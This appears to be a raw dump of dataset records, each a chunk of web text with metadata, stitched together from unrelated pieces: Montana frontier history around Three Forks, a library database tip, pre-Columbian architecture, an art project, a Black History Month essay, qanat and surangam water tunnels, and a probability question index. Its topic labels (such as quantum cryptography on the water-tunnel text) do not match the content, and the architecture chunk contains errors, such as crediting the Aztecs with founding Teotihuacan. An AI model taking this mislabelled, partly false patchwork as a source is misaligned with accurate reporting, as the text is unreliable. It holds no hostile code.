desirably located in the heart of a rich and extensive agricultural country, abounding in valleys of unrivaled richness, and uplands, plains, and mountains covered with nutritious grasses. sixty three years ago captains lewis and clark encamped here and explored the country. not being able to detect much difference between the volume of water in the jefferson and the madison they discontinued the name of missouri and gave to each river a separate name, which they bear to this time, and called the junction of three, the three forks. \u2014 a. e. mathews, pencil sketches of montana ( 1868 ), 81 - 82. the enlargement extends from a sheep ranch at extreme right to a ferry across the jefferson river at center, and a wagon road skirting the long, low elevation lewis called a \" handsom site for a fortification. \" ixty - three years. in those days, given a few good genes and a little luck, that was a full lifetime for the best of men and women anywhere, but especially in the remote reaches of the mountain west, where day - to - day survival demanded unfailing physical", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4527308160366678, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.166675"} {"text": "those days, given a few good genes and a little luck, that was a full lifetime for the best of men and women anywhere, but especially in the remote reaches of the mountain west, where day - to - day survival demanded unfailing physical stamina and placed extreme demands on one or more of five fully functional faculties \u2014 chiefly eyesight and hearing \u2014 plus a sturdy frame and strong musculature. compared with the ensuing half - century, nothing of major import happened since the corps of discovery paused to rest their weary bodies in this broad, politically neutral meeting - place some indians \u2014 blackfeet, shoshone, crow, flathead \u2014 called the \" valley of flowers. \" 2 we have no idea how many independent trappers or small groups actually passed among the three forks during the first 50 years after the expedition left it. the deaths of expedition veterans john potts and george drouillard at the hands of blackfeet in 1810 did not disturb the placid valley, and were scarcely noticed even back in st. louis, although john colter ' s 200 - mile dash for life from the blackfeet, beginning on the jefferson above the three forks and ending at fort raymond at the mouth of the big horn, quickly entered the jawbone journals of the western fur trade. famous trappers such as jedediah smith and william sublette, and scout kit carson, saw the place in due time. in 1863 a settlement proudly and optimistically named gallatin city ( the first of three ) sprang to life opposite the mouth of the gallatin river under the hands of twenty - five pioneers, including james ( eventually probate judge ) gallaher and major j. b. campbell, by authorization of the first territorial legislature. all were inspired by the prospect that river commerce would be extended to the three forks valley as soon as a government - chartered shortline railroad was built around the great falls. they expected that their market area would include all the gold camps from virginia city to the south and helena to the north, as well as the yellowstone valley via clark ' s \" high dry firm road \" between the big bend and the head of the gallatin river. second thoughts dictated the moving of the first gallatin city ' s legal domain to a new location on the bank of the madison river about two miles south, on the stage route. hope survived in gallatin city ( no. 2 ) until the northern pacific railroad laid its main line several miles to the south, and new options \u2014 the foundations of another", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.43467731284117017, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.168427"} {"text": "the bank of the madison river about two miles south, on the stage route. hope survived in gallatin city ( no. 2 ) until the northern pacific railroad laid its main line several miles to the south, and new options \u2014 the foundations of another phase of western history \u2014 emerged. a third gallatin city briefly came to mind, but no farther. fannie campbell was among the women who shared the excitement and the risks of settling in the valley of the missouri ' s headwaters. while her father began to put down his family ' s roots there, fannie finished her schooling at the conservatory in st. charles, missouri, before she and her older sister joined their parents at montana territory ' s new gallatin city in 1865. nineteen - year - old fannie ' s voyage up the missouri was interrupted by the wreck of the steamboat bertrand about 25 miles north of omaha, nebraska. the girls escaped to the riverbank where they watched the bertrand sink into the grasp of the missouri ' s muddy bottom. they waited a week for another boat, and when that one got stuck on a sand bar 200 miles downriver from fort benton a band of indians attacked, wounding two men and capturing a third. major campbell and a friend rode hard from gallatin city to rescue the girls and take them home. a year later, fannie ' s beloved piano arrived via steamboat to fort benton and wagon to her log home. one can only imagine the deep thrill the sound of that instrument drew from hearts still linked to distant homes, friends and families. fannie ' s piano - playing was a durable part of the valley ' s soundscape for the rest of her life receding into silence only with her death in 1919 at the age of 73. the promises of discovery and renewal suffused the atmosphere of lewis and clark ' s \" essential point \" even while the civil war was rending the nation ' s integrity. in 1863 a hardy, adventurous entrepreneur, john bozeman, led a group of wagons from fort laramie on the trans - west mormon trail up to the gold fields at virginia city. disappointed by his own failure at prospecting in colorado, he platted the town that would soon bear his name, and set out to \" mine the miners. \" in the course of things he would beat out those upstart missourians and their little enterprise, 30 miles to the northwest. the two settlements briefly traded roles as the administrative center of gallatin county, but bozeman ' s town eventually won out. bozeman ' s", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4353435658100665, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.169794"} {"text": "beat out those upstart missourians and their little enterprise, 30 miles to the northwest. the two settlements briefly traded roles as the administrative center of gallatin county, but bozeman ' s town eventually won out. bozeman ' s own luck dried up suddenly in april of 1867, when he was murdered by unknown assailants near the big bend of the yellowstone river. he was only 32. the general apprehension that indians were guilty prompted the settlers to demand protection from the u. s. army, with the result that fort ellis was quickly built - - near the place on kelly creek where clark and his detachment had camped on july 15, 1806, en route home. the first flour mill was opened near bozeman in 1864, and the first white woman to see the three forks arrived the following spring, but \" indian troubles \" were still on the horizon, so after five weeks she and her husband, a farmer, moved back south to bannack, then the territorial capital. within another two years the first church was built in the gallatin valley, and shortly thereafter the first church bell was brought to the valley, all the way from st. louis. think of the thrill that its tones, softly reverberating from the distant mountainsides, roused from the hearts of all hearers, believers or not, in the vast, sweet, overarching silence of the valley! in the ' 70s came schools, a masonic lodge, and many other essentials of semi - urban american life. gallatin city grew somewhat and flourished, more or less, until 1883, when the northern pacific railroad built its main line a few miles to the south \u2014 too far away for the ambitious community to benefit as a way station and trading point. by 1890 the vision had faded, and the town was empty. in 1908 the electrified milwaukee railroad built a way station close by \u2014 only five miles to the southwest \u2014 and called it three forks. chiefly, it was a transfer point to yellowstone national park, which since 1876 had grown into a tourist attraction of worldwide appeal. it was only five miles southwest of gallatin city, but that was still too far, and much too late anyhow. those ambitious missourians had long since roused from their delusions, and the settlement slowly dissolved into the earth. no trace of it remains today. nto this setting, in the mid - 1860s, rode a solitary 35 - year - old artist, alfred e. mathews, who had emigrated with his parents from his birthplace, bristol", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4261987319635879, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.171160"} {"text": "slowly dissolved into the earth. no trace of it remains today. nto this setting, in the mid - 1860s, rode a solitary 35 - year - old artist, alfred e. mathews, who had emigrated with his parents from his birthplace, bristol, england, to rochester, ohio, at an early age. during service in the union army he was highly regarded as an illustrator of civil war battles, among which his four lithographs of the siege of vicksburg, and a panorama of the campaigns from vicksburg to savannah, were greatly admired. his postwar western travels, at his own expense, through nebraska, colorado, montana and california, led him a total of more than 6, 000 miles. his sketches, not only rich in visual detail but also enhanced with penetratinv observations, failed to compete profitably with copies of the colorful, supersized western panoramas by thomas moran and albert bierstadt. 3 \" the author, \" wrote mathews in the preface to pencil sketches of montana, \" has frequently been asked why he did not take a photographic instrument along, in order to photograph mountain scenery ; for it is generally supposed that a photograph of mountain scenery is always perfectly accurate. this, however, is far from being the case. \" his answer could have simply summoned the logistical issue : cameras at that time were studio machines ; there was no such thing as a hand - held instrument. however, his thoughtful reply was more original than that, and remains as true and instructive today as it was then. in taking a picture, the lens of an instrument must be adjusted to focus on a certain object or objects ; and all others more distant, or nearer, will be more or less indistinct. another disadvantage of an instrument is that objects near at hand are magnified, while those farther off are reduced in size. so apparent is this defect in large photographs of persons that a small picture is now first taken, and afterwards copied and enlarged. shadows, too, are apt to be deepened and lights intensified. a good artist can, with ordinary care, produce a more accurate and pleasing picture with the pencil or brush. mathews ' reputation still falls somewhat short of greatness in the regard of art historians. nevertheless, his own self - published lithographs of colorado and montana have grown more and more valuable as documentaries of western topography and history, as the decades have passed. \" headwaters of the missouri \"... a view on the river immediately below the three forks. the sketch", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4884510028411853, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.173449"} {"text": "lithographs of colorado and montana have grown more and more valuable as documentaries of western topography and history, as the decades have passed. \" headwaters of the missouri \"... a view on the river immediately below the three forks. the sketch of the three forks [ above ] was made from the top of the high rocky bluff shown in this picture. - - a. e. mathews, pencil sketches of montana ( 1868 ). s if he had anticipated the extent to which the romance of western gold - mining would forever seize the imaginations of both writers and readers, mathews reminded his own readers : miners were not the only class of men who endured hardships and toils almost beyond belief when montana was first settled. ranchmen or farmers had the same difficulties to contend with \u2014 high prices and scarcity of food and clothing. plows for breaking [ sod ] were worth from $ 125, to $ 150 in gold ; common plows $ 80 each ; hoes $ 8, picks $ 15, shovels $ 15, and axes $ 9 each in gold ; other things in proportion. for comparison, a private in the union army had started at $ 11 per month, up $ 6 from the scale the privates in the corps of discovery received. clearly, once a prospective farmer had bought his land, he needed a sizeable stake just to start working it. here in this booming land of opportunity, at least, the results were definitely worth the investment. \" the gallatin valley, \" observed mathews, \" is celebrated for its immense hay ranches ; and horses and cattle are frequently driven down from the mining towns to winter at these ranches. \" - - joseph mussulman, robert n. bergantino, & john stoner. rev. 10 / 07 1. a. e. mathews ( 1831 - 1874 ), pencil sketches of montana ( new york : by the author, 1868. ) 2. e. lina houston, early history of gallatin county ( bozeman, montana : by the author, 1933 ), 7. 3. askart, http : / / www. askart. com / askart / artists / biography. aspx? searchtype = bio & artist = 8738. accessed march 17, 2006.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46186269629685256, "token_count": 462, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.175371"} {"text": "electronic databases are a fantastic research tool. they allow one to quickly search for and find relevant articles, reviews, studies and other pieces of scholarly information. in many databases, if you are using the first term to pop into your head, or even what you consider to be the standard term ( s ) for a topic when searching, it \u2019 s very likely you \u2019 re missing a major piece of the puzzle. this is where a database thesaurus comes in handy. when we think of thesauri, we usually think of roget \u2019 s thesaurus, which listed terms and provided their synonyms, antonyms and other related words. a database thesaurus, however, is slightly different. a database thesaurus provides descriptors, which are essentially standardized subject terms that are assigned to the records in the database. every article covering the same topic, regardless of the various terminology used in the articles, is assigned the same descriptor. as an example, we \u2019 ll look at psycinfo, a popular database covering psychology and social science issues. when you access psycinfo, ( see the listing in databases and indexes ), you will notice a \u201c thesaurus? tab directly above the search box. before doing a search, it is useful to check your search terms in the thesaurus. why is this important? assume that you are looking for information on substance abuse. common sense might indicate to use \u201c substance abuse? in a keyword / subject search. however, when we enter \u201c substance abuse? into the thesaurus you will see that the descriptor in psycinfo is actually \u201c drug abuse.? if you had done a simple keyword search for \u201c substance abuse,? you probably would have come up with some results. however, if you select \u201c drug abuse? as a descriptor from the thesaurus, you \u2019 ll receive relevant results pertaining to the topic of substance abuse, drug abuse or any other synonyms that may describe the topic. a database thesaurus may also supply narrower or broader terms, which may help you craft a more effective search. by clicking on the descriptor \u201c drug abuse? you will notice narrower terms such as \u201c alcohol abuse? or \u201c drug dependency,? and broader terms such as \u201c behavior disorders? or \u201c drug usage.? using the database \u2019 s terminology for your topic helps you \" cut to the chase \" in terms of finding comprehensive and relevant results. since each database is set up slightly differently, you may wish to look for a \u201c help", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5142563619490277, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.180422"} {"text": "aztec, mayan, and incan architecture when the spanish conquistadors arrived in the new world, they found that they had a wall of jungle in from of them. after they pushed through the growth, fended off mosquito herds, and chopped down the trees, the found a culture unlike any other. they had found the aztec civilization. this dark, pulsating, war - like tribe had settled down on what is now mexico city because of an ancient prophecy. when an eagle sitting on a cactus eating a snake was spotted, that was the location the aztec tribe was to settle down and cease their restless raiding. the aztecs founded the great city of teotihuacan where they built massive sacrificial pyramids and laid out their streets in a grid dotted with temples everywhere. the aztec pyramids were usually of 4 stages with small platforms in - between. they usually had steps up all four sides and at the top, there was a temple with a sacrificial stone. the priests would take of the animal, or even a human sometimes, and cut out their heart. while the heart was still beating, they would present it to statues representing their gods. even the most blood thirsty spaniard felt sick at the sight of such a blood - stained city. the mayan civilization made its home from the yucatan peninsula all the way down to guatemala. they were more civilized and peaceful that the aztecs. i guess you could say that the mayan people were the scientists of the continent. they were very precise on their measurements and astronomical observations. one of their many temples, the castillo at chichen itza, had four staircases of 91 steps each, one step for every day of the year. this demonstrates that the incan civilization knew how to incorporate the turning of the earth into buildings. most of the mayan pyramids and temples were built for specific gods so that they could look out and see their jungle. the mayans built many temples because there was a lot of stone around to build them with. one particularly neat view is from the top of the north acropolis at tikal. the view is of many tall slender pyramids sticking up above the trees. i dont know much about incan architecture, but what i do know is fascinating. the capital of the incan race was at cuzco which is now in peru. many incan villages are set up very high in the andes. the altitude here is so great that some of the guards on the trains offer the passengers oxygen.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4537780404493255, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.183240"} {"text": "countless fragments of existing architectural photography are merged into multilayered shapes. the resulting collages introduce a third abstract point of view next to the original ones of architect and photographer. digital scans of analogue architectural photography form tiny pieces of a large resulting puzzle. the original pictures are being analysed and categorised according to their vanishing - points and shapes. based on this analysis, slices are being extracted from the source image. these slices retain the information of their position corresponding to their original vanishing - point and thus form a large pool of pieces, ready to be applied to new perspectives and shapes. using the extracted image segments, it is now possible to form collages of originally different pictures with a new common perspective. in order to compose a collage, a perspective - grid is defined and a lining of matching image segments is being applied. the segments are not altered to match the frame but fitting ones are chosen from the sheer mass of possible pieces. by defining additional keywords which describe the content of the original photographs, the selection of segments used for the final composition can be influenced. thus a contextual layer is added through the semantic linking with the source material. the recompositions mix and match the views and perspectives of both the architect and the photographer with a third, newly chosen frame. the resulting fine - art prints are entirely unique each time. looking at hundreds of architecture photographs we noticed a strong bias regarding image composition. perspective foreshortening and vanishing lines dominate the overall impression of the image. this realisation lead to experiments in automated extraction of said features in the image data. the medium used for the result \u2013 for now a printed image \u2013 is just one of the many possibilities. the method also bears the potential for further experimentation and can be considered a work in progress. | building : | | radio bremen | | source images by klaus frahm |", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5889413346853424, "token_count": 378, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.185386"} {"text": "page 3 of 3 stories such as these are at the core of black history month. we need not look far. when americans really reflect on their families and communities, they will recognize the contributions of all african - americans, not just those who are seen as famous or heroic. the fact that their own stories aren \u2019 t as well known or recognized makes their inspiration, purpose, and achievement more tangible. every single african - american has a number of personal testimonies to contribute to this national month of remembrance. the many challenges and triumphs of our family members weave an intricate fabric chronicling the richness of the african - american experience. this is not to say that we should ignore the great people, moments, and accomplishments in black history. it is vitally important that the nation recognize the importance of pivotal moments and transcendent personalities that serve as milestone markers for the epic of journey that is american history. but the significance of the emancipation proclamation is not just found in the man lincoln or his courage ; it is also found in the millions of slaves that deserved their freedom \u2013 and all of their descendants. the power in the \u201c i have a dream \u201d speech is not just in martin luther king jr. or his divine oration, but also in the hope and struggle of millions who inspired it in the first place. we should not forego the average stories in every african - american family \u2013 indeed, every american family \u2013 for the once - a - century events and leaders in our history. we are our own black history, a mesh of the dreams we \u2019 ve each received from our forefathers and mothers. theodore roosevelt johnson iii is an active - duty navy officer, writer, and 2011 - 2012 white house fellow. his work has appeared in a variety of publications including the huffington post, san francisco chronicle, nbc \u2019 s the grio, and the hill. the views expressed in this piece are his own and do not necessarily reflect the views of the us government.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4227524206062352, "token_count": 397, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.187600"} {"text": "qanats and surangams are examples of water accessing systems which have similar technologies. qanat technology originated in iran and was used extensively in the dry, arid desert regions of the middle east and surangam technologyis used in the hilly terrains of the western ghats. both systems essentially consist of underground tunnels that source the aquifer and use gravity to convey the water to groundlevel. in both systems, construction is undertaken by hand by labourers or farmers. the most important aspect of building these structures is identifying the source of water. the traditional qanat builders, called muqannis, follow the water courses coming down the mountains and identify subsurface water sources. they dig a trial well to test the quantum and flow of water before beginning work on the qanat. similarly, in india, workmen who traditionally undertook the digging of surangas, were people who were familiar with the slopes, soil structure, catchment areas and used their knowledge of local flora and fauna to identify water sources. arid, desert region with high surface evaporation rates. absence of rivers coastal hill areas underlain by lateritic and weathered rocks with high rainfall. rapid discharge of river water due to steep slopes type of structure a series of wells connected by a tunnel tapping groundwater directly length of tunnel 30 \u2013 150 m sometimes as long as 6000 m to 8000m 3 - 300 m 1m - 1. 5 m 0. 9 - 15 m 0. 5 \u2013 1m 0. 5 \u2013 0. 8 m at intervals of 20 \u2013 35m generally no shafts unless tunnels are very long style of construction began from where water was to be delivered and worked its way up the slope to mother well began from the source of water qanats : originating in armenia 2, 500 years ago, qanats have reemerged into the international spotlight as \u201c rational irrigation systems, \u201d says dr. ali a. semsar yazdi the director of the newly formed international centre on qanat and historic hydraulic structures ( icqhs ) in yazd, iran. today in iran, more than 34, 355 of the structures are still functioning. sophisticated, self - regulating, and structurally sound, qanat systems were an integral part of iranian cotton production in the ninth and tenth centuries ad, and have since been found in 35 countries including china, india, egypt, and even as far westward as spain and peru. qanats ( also called kariz, lyoun, aflaj ) use underground", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48435341863264003, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.196059"} {"text": "the ninth and tenth centuries ad, and have since been found in 35 countries including china, india, egypt, and even as far westward as spain and peru. qanats ( also called kariz, lyoun, aflaj ) use underground water channels to drive the natural flow of aquifers to the earth \u2019 s surface for irrigation and domestic use. an intricate series of vertical shafts run from a point source near a hill or mountaintop and continue downhill to a field or village extending between one kilometer ( km ) and 70 km in length. the qanat system was used widely across persia and the middle east for many reasons. first, the system requires no energy, reliant on the force of gravity alone. second, the system can carry water across long distances through subterranean chambers avoiding leakage, evaporation, or pollution. and lastly, the discharge is fixed by nature, producing only the amount of water that is distributed naturally from a spring or mountain, ensuring the water table is not depleted. more importantly, it allows access to a reliable and plentiful source of water to those living in otherwise marginal landscapes. anthony smith, a well known author covering the social importance of qanats in iran, explains the system as \u201c the life of the village, without it, the village would be dust. the systems can deliver water at a rate between one liter per second and 500 liters per second, and a single qanat can irrigate hundreds of hectares. the well is horizontal, instead of vertical, relying on gravity and pressure from upland shafts to channel water up to the surface. over the centuries, the abundance of qanats has varied amidst shifting dynasties and new landowners. more recently, the resurgence of qanats is fighting years of inevitable modernization in which wells and piped water systems were constructed for growing populations under new land arrangements. variable and decreasing rainfall have also hindered development efforts. in syria, 92 % of all qanats have run dry since the introduction of pumped tube - wells in the mid - 1970s. in both syria and iran, qanats were constructed in areas that received 100 - 300 millimeters ( mm ) of precipitation each year. according to professor dale lightfoot at the university of colorado, these areas have received more variable rainfall in recent decades, compromising the efficacy of qanats. time and money is also a serious obstacle to new construction. new systems take anywhere between 25 and 75 years to construct with traditional materials and strategies. thus, icqhs focuses its", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5262811344757755, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.199125"} {"text": "rainfall in recent decades, compromising the efficacy of qanats. time and money is also a serious obstacle to new construction. new systems take anywhere between 25 and 75 years to construct with traditional materials and strategies. thus, icqhs focuses its resources in village - level education, training users how to revitalize and repair existing qanats. since 2008, icqhs has taken on six projects to restore qanat systems in villages surrounding the center in yazd, successfully increasing drinking water and irrigation supplies. similar to the technology of quanats is the surangam technology that was in vogue in dakshin kannada district of karnataka and kasaragod district of kerala. a surangam is basically a tunnel dug through a laterite hillock through which water seeps out and into the tunnel. water is then collected at the end of the tunnel in a storage pit. a surangam is also known as thurangam, thorapu, mala in different parts of kasaragod. the only cost of the a surangam is the initial cost of digging which was done by local workmen who were familiar with the geology, soil, slope etc. generally a surangam was about 0. 45 \u2013 0. 70 m wide and about 1. 8 - 2. 0 m in height. the length of the tunnel varied between 3 m to 300 m. for long tunnels, air shafts were provided to ensure atmospheric pressure. surangams are dug in places where the hydrogeological profile consists of is lateritic and weathered rocks. surangams are used to provide water for drinking, domestic use and sometimes even for irrigation. according to harish halemane of kasaragod, there are about 2000 surangams in bayar village in kasaragod. in sheni village in kasaragod, there is a 90 - year old, 250 m long surangam with seven air events. in manila village in dakshin kannada district, achyut bhat \u2019 s family dug nearly 20 surangams, of which 14 are still functional. the family \u2019 s 15 acre property lies in a rocky area, where it digging a well is not economical. today, the plot has areca nut and cocoanut gardens. achyut bhat is passionately committed to the idea of surangams and has propagated the idea in his village. he says that there are about 300 surangams in the village. 1. surangam providing irrigation water", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4906330931203643, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.200993"} {"text": ". achyut bhat is passionately committed to the idea of surangams and has propagated the idea in his village. he says that there are about 300 surangams in the village. 1. surangam providing irrigation water in padre village. 2. surangam being constructed. 3. a century old surangam in sheni village. 4. construction material being taken out. 5. surangam water for drinking water pix : shree padre, india together. org anthony smith : explorations in persia : blind white fish in persia. richmond, virginia : william byrd press, 1953, pp. 16 - 17 gunther garbrecht, \" ancient water works - lessons from history \". impact of science on society, unesco 1983 no. 1 ; p. 10. lightfoot, dale r. syrian qanat romani. water history. salih, abdin, qanats a unique groundwater management tool in arid regions : the case of bam region in iran, international symposium on groundwater sustainability ( isgwas ) boustani fardin, sustainable water utilization in arid region ofiran by qanats, world academy of science, engineering and technology 43 2008 padre, shree, surangas, manmade caves to tap underground water, india together, http : / / www. indiatogether. org / 2006 / mar / env - suranga. htm. padre, shree the unique water tunnel of sheni, india together. http : / / www. indiatogether. com / 2009 / jan / env - suranga. htm. harish halemane, suranga - a sustainabale water resource, june 2007, national seminar on water & culture - hampi, karnataka anon, dying wisdom, rise, fall and potential of india \u2019 s traditional water harvesting systems, centre for science and environment, 1998, pp 220 - 222", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4556076593177168, "token_count": 393, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.202568"} {"text": "see also the dr. math faq : probability in the browse high school probability stars indicate particularly interesting answers or good places to begin browsing. selected answers to common questions : odds vs. probability. - coin flipping [ 01 / 26 / 1998 ] how can i figure out the chances of flipping a coin five times with the - coin landing on edge [ 11 / 20 / 2001 ] is there a way to calculate the odds of a coin dropped from a known height landing on its edge rather than heads or tails? - coin landing on edge [ 11 / 29 / 2001 ] what are the chances of a coin landing on edge? a canadian copper penny, - coin tosses, dealing cards... [ 12 / 08 / 1998 ] several questions on discrete math - probability and combination ; deducing recurrence relations. - coin - tossing game [ 05 / 09 / 2001 ] three men toss a coin in succession for a prize to be given to the person who first obtains a head. what is each man ' s chance of winning the prize? - collecting a complete set [ 03 / 15 / 2000 ] i have a very large box filled with 8 different frying pan handles in equal proportions. what is the probability that i will have to remove 32 handles before i get a complete set? - collecting a set of coupons [ 02 / 03 / 2000 ] given n different types of coupons, what is the expected number of different types of coupons that are contained in a set of ( n ) coupons? what is the variance and the expected number of coupons one one needs to collect before obtaining a complete set? - colored and numbered discs [ 05 / 25 / 2001 ] drawing colored and numbered discs from boxes ; rolling colored and - combinations of married couples [ 11 / 08 / 1996 ] what is the probability that 12 people can be grouped into 6 pairs where each pair is a married couple? - combinatorial probability tournament [ 01 / 23 / 2002 ] a tennis tournament for 2 ^ n players is organised as a knock - out tournament with n rounds, the last round being the final. two players are chosen at random. calculate the probabilities they meet a ) in the first round ; b ) in the final ; c ) in any round. - complex ratio problem [ 07 / 31 / 1997 ] if you randomly throw 3 points on a plane, you get a triangle... what is the probability that the triangle will become obtuse...? - conditional probability [ 05 / 25 /", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5213309526668244, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.220689"} {"text": "ratio problem [ 07 / 31 / 1997 ] if you randomly throw 3 points on a plane, you get a triangle... what is the probability that the triangle will become obtuse...? - conditional probability [ 05 / 25 / 2000 ] suppose used car salesmen tell the truth 2 / 5 of the time, and 1 / 3 of the trees in a forest are oak... - conditional probability [ 12 / 31 / 1997 ] i tutor probability and statistics and people seem to be confused by the use of the multiplication rule in conditional probability... - consecutive failures in bernoulli trials [ 07 / 07 / 1999 ] what is the probability that out of n experiments there will be a string of at least k experiments in a row that fail? - contest probabilities [ 10 / 14 / 1998 ] players of equal skill meet in an elimination contest. with n players, what is the probability that a player will compete in i rounds? - craps [ 5 / 24 / 1996 ] can you give me information on the probability and outcome of the game - creating a mathematical model of a complicated situation [ 10 / 09 / 2005 ] i am riding a bike and have several possible routes, each of which contains various traffic lights, amounts of traffic, the possibility of being stopped by a policeman for running a light, and other factors which influence the time it will take to ride each route. how can i model the routes to predict which will be the best choice? - cupcakes and boxes : conditional probability [ 01 / 03 / 2002 ] given 3 boxes, each with 2 cupcakes ( 1 box has two vanilla, 1 has 2 chocolate, and 1 has one of each ). a box is selected randomly and a cupcake is selected that turns out to be chocolate. what ' s the probability that the other cupcake in that box will be chocolate? - darts and wilensky ' s paradox [ 03 / 17 / 1999 ] what is the probability of scoring 25 points with 2 darts if the dartboard is made up of 4 concentric circles? - defining independent events [ 07 / 14 / 2009 ] my book says two events e and f are independent if p ( e | f ) = p ( e ). do we also have to have p ( f | e ) = p ( f ) or does this automatically follow? could there be a situation where p ( e | f ) = p ( e ) but p ( f | e ) = / = p ( f )? - defining", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5595749548603542, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.221785"} {"text": "( f | e ) = p ( f ) or does this automatically follow? could there be a situation where p ( e | f ) = p ( e ) but p ( f | e ) = / = p ( f )? - defining probability [ 4 / 30 / 1996 ] is a probability number equal to a percent or a decimal? - definite integral of e ^ ( - x ^ 2 ) and e ^ ( ( - x ^ 2 ) / 2 ) ) [ 08 / 18 / 1999 ] how can i find the integrals of e ^ ( - x ^ 2 ) or e ^ ( ( - x ^ 2 ) / 2 ) ) from x = 0 to - deriving the normal from the binomial [ 07 / 11 / 1998 ] how is the normal distribution derived from the binomial distribution? does the normal approximate the binomial? - dice : full house [ 6 / 28 / 1996 ] what is the probability of rolling a full house with 5 six - sided dice? - dice game and expected value [ 04 / 18 / 2005 ] you pay $ 6 to play a game where you roll a die with a payoff as follows : $ 8 for a 6, $ 7 for a 5, and $ 4 for any other result. what are your expected winnings? is the game fair? - die roll probabilities in gaming [ 01 / 06 / 2001 ] players fight battles by rolling two dice and adding modifiers according to each player ' s advantages. generate a chart giving the odds of victory based on modifiers. - distribution of cards in bridge [ 05 / 03 / 2001 ] in bridge, it often happens that you and your partner have 9 cards of a suit between you. in all the bridge books that i have read, it is stated that the probability of the remaining 4 cards splitting 2 - 2 is 40. 7 %. can this be proven? - do prior outcomes affect probabilities of future ones? [ 05 / 26 / 2008 ] i know that the probability of flipping a coin and getting a head is 1 / 2. but if i ' ve gotten ten straight tails, isn ' t it more likely that the next one will be a head? - drawing aces [ 06 / 12 / 1997 ] what is the probability that you will pick two aces in a row out of a 52 - - drawing marbles [ 05 / 05 / 1998 ] a jar contains 19 different marbles. i draw 13 marbles, one at a time, but replace the marble back before", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5562845016020527, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.222917"} {"text": "that you will pick two aces in a row out of a 52 - - drawing marbles [ 05 / 05 / 1998 ] a jar contains 19 different marbles. i draw 13 marbles, one at a time, but replace the marble back before taking the next.... - drawing prizes [ 07 / 06 / 2003 ] if there are many cheap prizes, does the probability of getting a good prize go up as more prizes are drawn? - drunk drivers and traffic deaths [ 05 / 14 / 1997 ] knowing the total traffic fatalities and the number involving alcohol, what is the probability that a traffic death may be attributed to - empirical and mathematical probabilities [ 12 / 04 / 1998 ] what is the difference between empirical probability and mathematical - empirical probability [ 01 / 15 / 1999 ] if i flipped a coin 10 times and got heads each time, would the probability of a head on the next flip be 1 / 2 or almost 1? - english exam probability [ 12 / 17 / 2001 ] given a list of 25 potential exam questions, with 10 of them on the actual exam and of which students write essays on 2, how many questions should be prepared to be 95 % confident you won ' t write on a question you - even number of heads [ 02 / 12 / 2002 ] what is the probability of getting an even number of heads when tossing a - executive committee vote [ 01 / 21 / 1997 ] 124 delegates must elect a 13 - member executive committee from a list of 26 candidates. if each delegate votes for 10 candidates, what is the least number of votes a candidate can get and be elected? - expected tosses for consecutive heads with a fair coin [ 06 / 29 / 2004 ] what is the expected number of times a person must toss a fair coin to get 2 consecutive heads? - expected 